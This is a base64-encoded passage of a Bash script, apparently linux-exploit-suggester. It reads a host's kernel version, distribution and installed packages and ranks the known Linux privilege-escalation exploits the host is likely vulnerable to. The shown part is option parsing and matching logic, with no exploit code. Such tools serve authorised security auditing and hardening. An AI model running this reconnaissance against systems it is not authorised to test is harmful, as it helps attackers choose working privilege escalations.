IFJBTks9JDEKCiAgICBpZiBbICIkUkFOSyIgLWdlIDYgXTsgdGhlbgogICAgICAgIGVjaG8gImhpZ2hseSBwcm9iYWJsZSIKICAgIGVsaWYgWyAiJFJBTksiIC1nZSAzIF07IHRoZW4KICAgICAgICBlY2hvICJwcm9iYWJsZSIKICAgIGVsc2UKICAgICAgICBlY2hvICJsZXNzIHByb2JhYmxlIgogICAgZmkKfQoKIyBwYXJzZSBjb21tYW5kIGxpbmUgcGFyYW1ldGVycwpBUkdTPSQoZ2V0b3B0IC0tb3B0aW9ucyAkU0hPUlRPUFRTICAtLWxvbmdvcHRpb25zICRMT05HT1BUUyAtLSAiJEAiKQpbICQ/ICE9IDAgXSAmJiBleGl0V2l0aEVyck1zZyAiQWJvcnRpbmcuIgoKZXZhbCBzZXQgLS0gIiRBUkdTIgoKd2hpbGUgdHJ1ZTsgZG8KICAgIGNhc2UgIiQxIiBpbgogICAgICAgIC11fC0tdW5hbWUpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIFVOQU1FX0E9IiQxIgogICAgICAgICAgICBvcHRfdW5hbWVfc3RyaW5nPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtVnwtLXZlcnNpb24pCiAgICAgICAgICAgIHZlcnNpb24KICAgICAgICAgICAgZXhpdCAwCiAgICAgICAgICAgIDs7CiAgICAgICAgLWh8LS1oZWxwKQogICAgICAgICAgICB1c2FnZSAKICAgICAgICAgICAgZXhpdCAwCiAgICAgICAgICAgIDs7CiAgICAgICAgLWZ8LS1mdWxsKQogICAgICAgICAgICBvcHRfZnVsbD10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWd8LS1zaG9ydCkKICAgICAgICAgICAgb3B0X3N1bW1hcnk9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1ifC0tZmV0Y2gtYmluYXJpZXMpCiAgICAgICAgICAgIG9wdF9mZXRjaF9iaW5zPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtc3wtLWZldGNoLXNvdXJjZXMpCiAgICAgICAgICAgIG9wdF9mZXRjaF9zcmNzPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAta3wtLWtlcm5lbCkKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgS0VSTkVMPSIkMSIKICAgICAgICAgICAgb3B0X2tlcm5lbF92ZXJzaW9uPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtZHwtLXNob3ctZG9zKQogICAgICAgICAgICBvcHRfc2hvd19kb3M9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1wfC0tcGtnbGlzdC1maWxlKQogICAgICAgICAgICBzaGlmdAogICAgICAgICAgICBQS0dMSVNUX0ZJTEU9IiQxIgogICAgICAgICAgICBvcHRfcGtnbGlzdF9maWxlPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLWN2ZWxpc3QtZmlsZSkKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgQ1ZFTElTVF9GSUxFPSIkMSIKICAgICAgICAgICAgb3B0X2N2ZWxpc3RfZmlsZT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS1jaGVja3NlYykKICAgICAgICAgICAgb3B0X2NoZWNrc2VjX21vZGU9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0ta2VybmVsc3BhY2Utb25seSkKICAgICAgICAgICAgb3B0X2tlcm5lbF9vbmx5PXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLXVzZXJzcGFjZS1vbmx5KQogICAgICAgICAgICBvcHRfdXNlcnNwYWNlX29ubHk9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tc2tpcC1tb3JlLWNoZWNrcykKICAgICAgICAgICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tc2tpcC1wa2ctdmVyc2lvbnMpCiAgICAgICAgICAgIG9wdF9za2lwX3BrZ192ZXJzaW9ucz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgKikKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgaWYgWyAiJCMiICE9ICIwIiBdOyB0aGVuCiAgICAgICAgICAgICAgICBleGl0V2l0aEVyck1zZyAiVW5rbm93biBvcHRpb24gJyQxJy4gQWJvcnRpbmcuIgogICAgICAgICAgICBmaQogICAgICAgICAgICBicmVhawogICAgICAgICAgICA7OwogICAgZXNhYwogICAgc2hpZnQKZG9uZQoKIyBjaGVjayBCYXNoIHZlcnNpb24gKGFzc29jaWF0aXZlIGFycmF5cyBuZWVkIEJhc2ggaW4gdmVyc2lvbiA0LjArKQppZiAoKEJBU0hfVkVSU0lORk9bMF0gPCA0KSk7IHRoZW4KICAgIGV4aXRXaXRoRXJyTXNnICJTY3JpcHQgbmVlZHMgQmFzaCBpbiB2ZXJzaW9uIDQuMCBvciBuZXdlci4gQWJvcnRpbmcuIgpmaQoKIyBleGl0IGlmIGJvdGggLS1rZXJuZWwgYW5kIC0tdW5hbWUgYXJlIHNldApbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9ICJ0cnVlIiBdICYmIFsgJG9wdF91bmFtZV9zdHJpbmcgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXV8LS11bmFtZSBhbmQgLWt8LS1rZXJuZWwgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgoKIyBleGl0IGlmIGJvdGggLS1mdWxsIGFuZCAtLXNob3J0IGFyZSBzZXQKWyAiJG9wdF9mdWxsIiA9ICJ0cnVlIiBdICYmIFsgJG9wdF9zdW1tYXJ5ID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1mfC0tZnVsbCBhbmQgLWd8LS1zaG9ydCBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCgojIC0tY3ZlbGlzdC1maWxlIG1vZGUgaXMgc3RhbmRhbG9uZSBtb2RlIGFuZCBpcyBub3QgYXBwbGljYWJsZSB3aGVuIG9uZSBvZiAtayB8IC11IHwgLXAgfCAtLWNoZWNrc2VjIHN3aXRjaGVzIGFyZSBzZXQKaWYgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF07IHRoZW4KICAgIFsgISAtZSAiJENWRUxJU1RfRklMRSIgXSAmJiBleGl0V2l0aEVyck1zZyAiUHJvdmlkZWQgQ1ZFIGxpc3QgZmlsZSBkb2VzIG5vdCBleGlzdHMuIEFib3J0aW5nLiIKICAgIFsgIiRvcHRfa2VybmVsX3ZlcnNpb24iID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1rfC0ta2VybmVsIGFuZCAtLWN2ZWxpc3QtZmlsZSBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X3VuYW1lX3N0cmluZyIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXV8LS11bmFtZSBhbmQgLS1jdmVsaXN0LWZpbGUgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1wfC0tcGtnbGlzdC1maWxlIGFuZCAtLWN2ZWxpc3QtZmlsZSBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCmZpCgojIC0tY2hlY2tzZWMgbW9kZSBpcyBzdGFuZGFsb25lIG1vZGUgYW5kIGlzIG5vdCBhcHBsaWNhYmxlIHdoZW4gb25lIG9mIC1rIHwgLXUgfCAtcCB8IC0tY3ZlbGlzdC1maWxlIHN3aXRjaGVzIGFyZSBzZXQKaWYgWyAiJG9wdF9jaGVja3NlY19tb2RlIiA9ICJ0cnVlIiBdOyB0aGVuCiAgICBbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAta3wtLWtlcm5lbCBhbmQgLS1jaGVja3NlYyBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X3VuYW1lX3N0cmluZyIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXV8LS11bmFtZSBhbmQgLS1jaGVja3NlYyBhcmUgbXV0dWFsbHkgZXhjbHVzaXZlLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X3BrZ2xpc3RfZmlsZSIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLXB8LS1wa2dsaXN0LWZpbGUgYW5kIC0tY2hlY2tzZWMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgpmaQoKIyBleHRyYWN0IGtlcm5lbCB2ZXJzaW9uIGFuZCBvdGhlciBPUyBpbmZvIGxpa2UgZGlzdHJvIG5hbWUsIGRpc3RybyB2ZXJzaW9uLCBldGMuIDMgcG9zc2liaWxpdGllcyBoZXJlOgojIGNhc2UgMTogLS1rZXJuZWwgc2V0CmlmIFsgIiRvcHRfa2VybmVsX3ZlcnNpb24iID09ICJ0cnVlIiBdOyB0aGVuCiAgICAjIFRPRE86IGFkZCBrZXJuZWwgdmVyc2lvbiBudW1iZXIgdmFsaWRhdGlvbgogICAgWyAteiAiJEtFUk5FTCIgXSAmJiBleGl0V2l0aEVyck1zZyAiVW5yZWNvZ25pemVkIGtlcm5lbCB2ZXJzaW9uIGdpdmVuLiBBYm9ydGluZy4iCiAgICBBUkNIPSIiCiAgICBPUz0iIgoKICAgICMgZG8gbm90IHBlcmZvcm0gYWRkaXRpb25hbCBjaGVja3Mgb24gY3VycmVudCBtYWNoaW5lCiAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz10cnVlCgogICAgIyBkbyBub3QgY29uc2lkZXIgY3VycmVudCBPUwogICAgZ2V0UGtnTGlzdCAiIiAiJFBLR0xJU1RfRklMRSIKCiMgY2FzZSAyOiAtLXVuYW1lIHNldAplbGlmIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAidHJ1ZSIgXTsgdGhlbgogICAgWyAteiAiJFVOQU1FX0EiIF0gJiYgZXhpdFdpdGhFcnJNc2cgInVuYW1lIHN0cmluZyBlbXB0eS4gQWJvcnRpbmcuIgogICAgcGFyc2VVbmFtZSAiJFVOQU1FX0EiCgogICAgIyBkbyBub3QgcGVyZm9ybSBhZGRpdGlvbmFsIGNoZWNrcyBvbiBjdXJyZW50IG1hY2hpbmUKICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPXRydWUKCiAgICAjIGRvIG5vdCBjb25zaWRlciBjdXJyZW50IE9TCiAgICBnZXRQa2dMaXN0ICIiICIkUEtHTElTVF9GSUxFIgoKIyBjYXNlIDM6IC0tY3ZlbGlzdC1maWxlIG1vZGUKZWxpZiBbICIkb3B0X2N2ZWxpc3RfZmlsZSIgPSAidHJ1ZSIgXTsgdGhlbgoKICAgICMgZ2V0IGtlcm5lbCBjb25maWd1cmF0aW9uIGluIHRoaXMgbW9kZQogICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJmYWxzZSIgXSAmJiBnZXRLZXJuZWxDb25maWcKCiMgY2FzZSA0OiAtLWNoZWNrc2VjIG1vZGUKZWxpZiBbICIkb3B0X2NoZWNrc2VjX21vZGUiID0gInRydWUiIF07IHRoZW4KCiAgICAjIHRoaXMgc3dpdGNoIGlzIG5vdCBhcHBsaWNhYmxlIGluIHRoaXMgbW9kZQogICAgb3B0X3NraXBfbW9yZV9jaGVja3M9ZmFsc2UKCiAgICAjIGdldCBrZXJuZWwgY29uZmlndXJhdGlvbiBpbiB0aGlzIG1vZGUKICAgIGdldEtlcm5lbENvbmZpZwogICAgWyAteiAiJEtDT05GSUciIF0gJiYgZWNobyAiV0FSTklORy4gS2VybmVsIENvbmZpZyBub3QgZm91bmQgb24gdGhlIHN5c3RlbSByZXN1bHRzIHdvbid0IGJlIGNvbXBsZXRlLiIKCiAgICAjIGxhdW5jaCBjaGVja3NlYyBtb2RlCiAgICBjaGVja3NlY01vZGUKCiAgICBleGl0IDAKCiMgY2FzZSA1OiBubyAtLXVuYW1lIHwgLS1rZXJuZWwgfCAtLWN2ZWxpc3QtZmlsZSB8IC0tY2hlY2tzZWMgc2V0CmVsc2UKCiAgICAjIC0tcGtnbGlzdC1maWxlIE5PVCBwcm92aWRlZDogdGFrZSBhbGwgaW5mbyBmcm9tIGN1cnJlbnQgbWFjaGluZQogICAgIyBjYXNlIGZvciB2YW5pbGxhIGV4ZWN1dGlvbjogLi9saW51eC1leHBsb2l0LXN1Z2dlc3Rlci5zaAogICAgaWYgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID09ICJmYWxzZSIgXTsgdGhlbgogICAgICAgIFVOQU1FX0E9JCh1bmFtZSAtYSkKICAgICAgICBbIC16ICIkVU5BTUVfQSIgXSAmJiBleGl0V2l0aEVyck1zZyAidW5hbWUgc3RyaW5nIGVtcHR5LiBBYm9ydGluZy4iCiAgICAgICAgcGFyc2VVbmFtZSAiJFVOQU1FX0EiCgogICAgICAgICMgZ2V0IGtlcm5lbCBjb25maWd1cmF0aW9uIGluIHRoaXMgbW9kZQogICAgICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAiZmFsc2UiIF0gJiYgZ2V0S2VybmVsQ29uZmlnCgogICAgICAgICMgZXh0cmFjdCBkaXN0cmlidXRpb24gdmVyc2lvbiBmcm9tIC9ldGMvb3MtcmVsZWFzZSBPUiAvZXRjL2xzYi1yZWxlYXNlCiAgICAgICAgWyAtbiAiJE9TIiAtYSAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJmYWxzZSIgXSAmJiBESVNUUk89JChncmVwIC1zIC1FICdeRElTVFJJQl9SRUxFQVNFPXxeVkVSU0lPTl9JRD0nIC9ldGMvKi1yZWxlYXNlIHwgY3V0IC1kJz0nIC1mMiB8IGhlYWQgLTEgfCB0ciAtZCAnIicpCgogICAgICAgICMgZXh0cmFjdCBwYWNrYWdlIGxpc3RpbmcgZnJvbSBjdXJyZW50IE9TCiAgICAgICAgZ2V0UGtnTGlzdCAiJE9TIiAiIgoKICAgICMgLS1wa2dsaXN0LWZpbGUgcHJvdmlkZWQ6IG9ubHkgY29uc2lkZXIgdXNlcnNwYWNlIGV4cGxvaXRzIGFnYWluc3QgcHJvdmlkZWQgcGFja2FnZSBsaXN0aW5nCiAgICBlbHNlCiAgICAgICAgS0VSTkVMPSIiCiAgICAgICAgI1RPRE86IGV4dHJhY3QgbWFjaGluZSBhcmNoIGZyb20gcGFja2FnZSBsaXN0aW5nCiAgICAgICAgQVJDSD0iIgogICAgICAgIHVuc2V0IEVYUExPSVRTCiAgICAgICAgZGVjbGFyZSAtQSBFWFBMT0lUUwogICAgICAgIGdldFBrZ0xpc3QgIiIgIiRQS0dMSVNUX0ZJTEUiCgogICAgICAgICMgYWRkaXRpb25hbCBjaGVja3MgYXJlIG5vdCBhcHBsaWNhYmxlIGZvciB0aGlzIG1vZGUKICAgICAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz10cnVlCiAgICBmaQpmaQoKZWNobwplY2hvIC1lICIke2JsZHdodH1BdmFpbGFibGUgaW5mb3JtYXRpb246JHt0eHRyc3R9IgplY2hvClsgLW4gIiRLRVJORUwiIF0gJiYgZWNobyAtZSAiS2VybmVsIHZlcnNpb246ICR7dHh0Z3JufSRLRVJORUwke3R4dHJzdH0iIHx8IGVjaG8gLWUgIktlcm5lbCB2ZXJzaW9uOiAke3R4dHJlZH1OL0Eke3R4dHJzdH0iCmVjaG8gIkFyY2hpdGVjdHVyZTogJChbIC1uICIkQVJDSCIgXSAmJiBlY2hvIC1lICIke3R4dGdybn0kQVJDSCR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCmVjaG8gIkRpc3RyaWJ1dGlvbjogJChbIC1uICIkT1MiIF0gJiYgZWNobyAtZSAiJHt0eHRncm59JE9TJHt0eHRyc3R9IiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKZWNobyAtZSAiRGlzdHJpYnV0aW9uIHZlcnNpb246ICQoWyAtbiAiJERJU1RSTyIgXSAmJiBlY2hvIC1lICIke3R4dGdybn0kRElTVFJPJHt0eHRyc3R9IiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKCmVjaG8gIkFkZGl0aW9uYWwgY2hlY2tzIChDT05GSUdfKiwgc3lzY3RsIGVudHJpZXMsIGN1c3RvbSBCYXNoIGNvbW1hbmRzKTogJChbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID09ICJmYWxzZSIgXSAmJiBlY2hvIC1lICIke3R4dGdybn1wZXJmb3JtZWQke3R4dHJzdH0iIHx8IGVjaG8gLWUgIiR7dHh0cmVkfU4vQSR7dHh0cnN0fSIpIgoKaWYgWyAtbiAiJFBLR0xJU1RfRklMRSIgLWEgLW4gIiRQS0dfTElTVCIgXTsgdGhlbgogICAgcGtnTGlzdEZpbGU9IiR7dHh0Z3JufSRQS0dMSVNUX0ZJTEUke3R4dHJzdH0iCmVsaWYgWyAtbiAiJFBLR0xJU1RfRklMRSIgXTsgdGhlbgogICAgcGtnTGlzdEZpbGU9IiR7dHh0cmVkfXVucmVjb2duaXplZCBmaWxlIHByb3ZpZGVkJHt0eHRyc3R9IgplbGlmIFsgLW4gIiRQS0dfTElTVCIgXTsgdGhlbgogICAgcGtnTGlzdEZpbGU9IiR7dHh0Z3JufWZyb20gY3VycmVudCBPUyR7dHh0cnN0fSIKZmkKCmVjaG8gLWUgIlBhY2thZ2UgbGlzdGluZzogJChbIC1uICIkcGtnTGlzdEZpbGUiIF0gJiYgZWNobyAtZSAiJHBrZ0xpc3RGaWxlIiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKCiMgaGFuZGxlIC0ta2VybmVsc3BhY3ktb25seSAmIC0tdXNlcnNwYWNlLW9ubHkgZmlsdGVyIG9wdGlvbnMKaWYgWyAiJG9wdF9rZXJuZWxfb25seSIgPSAidHJ1ZSIgLW8gLXogIiRQS0dfTElTVCIgXTsgdGhlbgogICAgdW5zZXQgRVhQTE9JVFNfVVNFUlNQQUNFCiAgICBkZWNsYXJlIC1BIEVYUExPSVRTX1VTRVJTUEFDRQpmaQoKaWYgWyAiJG9wdF91c2Vyc3BhY2Vfb25seSIgPSAidHJ1ZSIgXTsgdGhlbgogICAgdW5zZXQgRVhQTE9JVFMKICAgIGRlY2xhcmUgLUEgRVhQTE9JVFMKZmkKCmVjaG8KZWNobyAtZSAiJHtibGR3aHR9U2VhcmNoaW5nIGFtb25nOiR7dHh0cnN0fSIKZWNobwplY2hvICIkeyNFWFBMT0lUU1tAXX0ga2VybmVsIHNwYWNlIGV4cGxvaXRzIgplY2hvICIkeyNFWFBMT0lUU19VU0VSU1BBQ0VbQF19IHVzZXIgc3BhY2UgZXhwbG9pdHMiCmVjaG8KCmVjaG8gLWUgIiR7Ymxkd2h0fVBvc3NpYmxlIEV4cGxvaXRzOiR7dHh0cnN0fSIKZWNobwoKIyBzdGFydCBhbmFseXNpcwpqPTAKZm9yIEVYUCBpbiAiJHtFWFBMT0lUU1tAXX0iICIke0VYUExPSVRTX1VTRVJTUEFDRVtAXX0iOyBkbwoKICAgICMgY3JlYXRlIGFycmF5IGZyb20gY3VycmVudCBleHBsb2l0IGhlcmUgZG9jIGFuZCBmZXRjaCBuZWVkZWQgbGluZXMKICAgIGk9MAogICAgIyAoJy1yJyBpcyB1c2VkIHRvIG5vdCBpbnRlcnByZXQgYmFja3NsYXNoIHVzZWQgZm9yIGJhc2ggY29sb3JzKQogICAgd2hpbGUgcmVhZCAtciBsaW5lCiAgICBkbwogICAgICAgIGFycltpXT0iJGxpbmUiCiAgICAgICAgaT0kKChpICsgMSkpCiAgICBkb25lIDw8PCAiJEVYUCIKCiAgICBOQU1FPSIke2FyclswXX0iICYmIE5BTUU9IiR7TkFNRTo2fSIKICAgIFJFUVM9IiR7YXJyWzFdfSIgJiYgUkVRUz0iJHtSRVFTOjZ9IgogICAgVEFHUz0iJHthcnJbMl19IiAmJiBUQUdTPSIke1RBR1M6Nn0iCiAgICBSQU5LPSIke2FyclszXX0iICYmIFJBTks9IiR7UkFOSzo2fSIKCiAgICAjIHNwbGl0IGxpbmUgd2l0aCByZXF1aXJlbWVudHMgJiBsb29wIHRocnUgYWxsIHJlcXMgb25lIGJ5IG9uZSAmIGNoZWNrIHdoZXRoZXIgaXQgaXMgbWV0CiAgICBJRlM9JywnIHJlYWQgLXIgLWEgYXJyYXkgPDw8ICIkUkVRUyIKICAgIFJFUVNfTlVNPSR7I2FycmF5W0BdfQogICAgUEFTU0VEX1JFUT0wCiAgICBmb3IgUkVRIGluICIke2FycmF5W0BdfSI7IGRvCiAgICAgICAgaWYgKGNoZWNrUmVxdWlyZW1lbnQgIiRSRVEiICIke2FycmF5WzBdfSIpOyB0aGVuCiAgICAgICAgICAgIFBBU1NFRF9SRVE9JCgoJFBBU1NFRF9SRVEgKyAxKSkKICAgICAgICBlbHNlCiAgICAgICAgICAgIGJyZWFrCiAgICAgICAgZmkKICAgIGRvbmUKCiAgICAjIGV4ZWN1dGUgZm9yIGV4cGxvaXRzIHdpdGggYWxsIHJlcXVpcmVtZW50cyBtZXQKICAgIGlmIFsgJFBBU1NFRF9SRVEgLWVxICRSRVFTX05VTSBdOyB0aGVuCgogICAgICAgICMgYWRkaXRpb25hbCByZXF1aXJlbWVudCBmb3IgLS1jdmVsaXN0LWZpbGUgbW9kZTogY2hlY2sgaWYgQ1ZFIGFzc29jaWF0ZWQgd2l0aCB0aGUgZXhwbG9pdCBpcyBvbiB0aGUgQ1ZFTElTVF9GSUxFCiAgICAgICAgaWYgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF07IHRoZW4KCiAgICAgICAgICAgICMgZXh0cmFjdCBDVkUocykgYXNzb2NpYXRlZCB3aXRoIGdpdmVuIGV4cGxvaXQgKGFsc28gdHJhbnNsYXRlcyAnLCcgdG8gJ3wnIGZvciBlYXN5IGhhbmRsaW5nIG11bHRpcGxlIENWRXMgY2FzZSAtIHZpYSBleHRlbmRlZCByZWdleCkKICAgICAgICAgICAgY3ZlPSQoZWNobyAiJE5BTUUiIHwgZ3JlcCAnLipcWy4qXF0uKicgfCBjdXQgLWQgJ20nIC1mMiB8IGN1dCAtZCAnXScgLWYxIHwgdHIgLWQgJ1snIHwgdHIgIiwiICJ8IikKICAgICAgICAgICAgI2VjaG8gIkNWRTogJGN2ZSIKCiAgICAgICAgICAgICMgY2hlY2sgaWYgaXQncyBvbiBDVkVMSVNUX0ZJTEUgbGlzdCwgaWYgbm8gbW92ZSB0byBuZXh0IGV4cGxvaXQKICAgICAgICAgICAgWyAhICQoY2F0ICIkQ1ZFTElTVF9GSUxFIiB8IGdyZXAgLUUgIiRjdmUiKSBdICYmIGNvbnRpbnVlCiAgICAgICAgZmkKCiAgICAgICAgIyBwcm9jZXNzIHRhZ3MgYW5kIGhpZ2hsaWdodCB0aG9zZSB0aGF0IG1hdGNoIGN1cnJlbnQgT1MgKG9ubHkgZm9yIGRlYnx1YnVudHV8UkhFTCBhbmQgaWYgd2Uga25vdyBkaXN0cm8gdmVyc2lvbiAtIGRpcmVjdCBtb2RlKQogICAgICAgIHRhZ3M9IiIKICAgICAgICBpZiBbIC1uICIkVEFHUyIgLWEgLW4gIiRPUyIgXTsgdGhlbgogICAgICAgICAgICBJRlM9JywnIHJlYWQgLXIgLWEgdGFnc19hcnJheSA8PDwgIiRUQUdTIgogICAgICAgICAgICBUQUdTX05VTT0keyN0YWdzX2FycmF5W0BdfQoKICAgICAgICAgICAgIyBidW1wIFJBTksgc2xpZ2h0bHkgKCsxKSBpZiB3ZSdyZSBpbiAnLS11bmFtZScgbW9kZSBhbmQgdGhlcmUncyBhIFRBRyBmb3IgT1MgZnJvbSB1bmFtZSBzdHJpbmcKICAgICAgICAgICAgWyAiJChlY2hvICIke3RhZ3NfYXJyYXlbQF19IiB8IGdyZXAgIiRPUyIpIiAtYSAiJG9wdF91bmFtZV9zdHJpbmciID09ICJ0cnVlIiBdICYmIFJBTks9JCgoJFJBTksgKyAxKSkKCiAgICAgICAgICAgIGZvciBUQUcgaW4gIiR7dGFnc19hcnJheVtAXX0iOyBkbwogICAgICAgICAgICAgICAgdGFnX2Rpc3Rybz0kKGVjaG8gIiRUQUciIHwgY3V0IC1kJz0nIC1mMSkKICAgICAgICAgICAgICAgIHRhZ19kaXN0cm9fbnVtX2FsbD0kKGVjaG8gIiRUQUciIHwgY3V0IC1kJz0nIC1mMikKICAgICAgICAgICAgICAgICMgaW4gY2FzZSBvZiB0YWcgb2YgZm9ybTogJ3VidW50dT0xNi4wNHtrZXJuZWw6NC40LjAtMjF9IHJlbW92ZSBrZXJuZWwgdmVyc2lvbmluZyBwYXJ0IGZvciBjb21wYXJpc2lvbgogICAgICAgICAgICAgICAgdGFnX2Rpc3Ryb19udW09IiR7dGFnX2Rpc3Ryb19udW1fYWxsJXsqfSIKCiAgICAgICAgICAgICAgICAjIHdlJ3JlIGluICctLXVuYW1lJyBtb2RlIE9SIChmb3Igbm9ybWFsIG1vZGUpIGlmIHRoZXJlIGlzIGRpc3RybyB2ZXJzaW9uIG1hdGNoCiAgICAgICAgICAgICAgICBpZiBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gInRydWUiIC1vIFwoICIkT1MiID09ICIkdGFnX2Rpc3RybyIgLWEgIiQoZWNobyAiJERJU1RSTyIgfCBncmVwIC1FICIkdGFnX2Rpc3Ryb19udW0iKSIgXCkgXTsgdGhlbgoKICAgICAgICAgICAgICAgICAgICAjIGJ1bXAgY3VycmVudCBleHBsb2l0J3MgcmFuayBieSAyIGZvciBkaXN0cm8gbWF0Y2ggKGFuZCBub3QgaW4gJy0tdW5hbWUnIG1vZGUpCiAgICAgICAgICAgICAgICAgICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJmYWxzZSIgXSAmJiBSQU5LPSQoKCRSQU5LICsgMikpCgogICAgICAgICAgICAgICAgICAgICMgZ2V0IG5hbWUgKGtlcm5lbCBvciBwYWNrYWdlIG5hbWUpIGFuZCB2ZXJzaW9uIG9mIGtlcm5lbC9wa2cgaWYgcHJvdmlkZWQ6CiAgICAgICAgICAgICAgICAgICAgdGFnX3BrZz0kKGVjaG8gIiR0YWdfZGlzdHJvX251bV9hbGwiIHwgY3V0IC1kJ3snIC1mIDIgfCB0ciAtZCAnfScgfCBjdXQgLWQnOicgLWYgMSkKICAgICAgICAgICAgICAgICAgICB0YWdfcGtnX251bT0iIgogICAgICAgICAgICAgICAgICAgIFsgJChlY2hvICIkdGFnX2Rpc3Ryb19udW1fYWxsIiB8IGdyZXAgJ3snKSBdICYmIHRhZ19wa2dfbnVtPSQoZWNobyAiJHRhZ19kaXN0cm9fbnVtX2FsbCIgfCBjdXQgLWQneycgLWYgMiB8IHRyIC1kICd9JyB8IGN1dCAtZCc6JyAtZiAyKQoKICAgICAgICAgICAgICAgICAgICAjWyAtbiAiJHRhZ19wa2dfbnVtIiBdICYmIGVjaG8gInRhZ19wa2dfbnVtOiAkdGFnX3BrZ19udW07IGtlcm5lbDogJEtFUk5FTF9BTEwiCgogICAgICAgICAgICAgICAgICAgICMgaWYgcGtnL2tlcm5lbCB2ZXJzaW9uIGlzIG5vdCBwcm92aWRlZDoKICAgICAgICAgICAgICAgICAgICBpZiBbIC16ICIkdGFnX3BrZ19udW0iIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJmYWxzZSIgXSAmJiBUQUc9IiR7bGlnaHR5ZWxsb3d9WyAke1RBR30gXSR7dHh0cnN0fSIKCiAgICAgICAgICAgICAgICAgICAgIyBrZXJuZWwgdmVyc2lvbiBwcm92aWRlZCwgY2hlY2sgZm9yIG1hdGNoOgogICAgICAgICAgICAgICAgICAgIGVsaWYgWyAtbiAiJHRhZ19wa2dfbnVtIiAtYSAiJHRhZ19wa2ciID0gImtlcm5lbCIgXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICBpZiBbICQoZWNobyAiJEtFUk5FTF9BTEwiIHwgZ3JlcCAtRSAiJHt0YWdfcGtnX251bX0iKSBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIGtlcm5lbCB2ZXJzaW9uIG1hdGNoZWQgLSBib2xkIGhpZ2hsaWdodAogICAgICAgICAgICAgICAgICAgICAgICAgICAgVEFHPSIke3llbGxvd31bICR7VEFHfSBdJHt0eHRyc3R9IgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgYnVtcCBjdXJyZW50IGV4cGxvaXQncyByYW5rIGFkZGl0aW9uYWxseSBieSAzIGZvciBrZXJuZWwgdmVyc2lvbiByZWdleCBtYXRjaAogICAgICAgICAgICAgICAgICAgICAgICAgICAgUkFOSz0kKCgkUkFOSyArIDMpKQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gImZhbHNlIiBdICYmIFR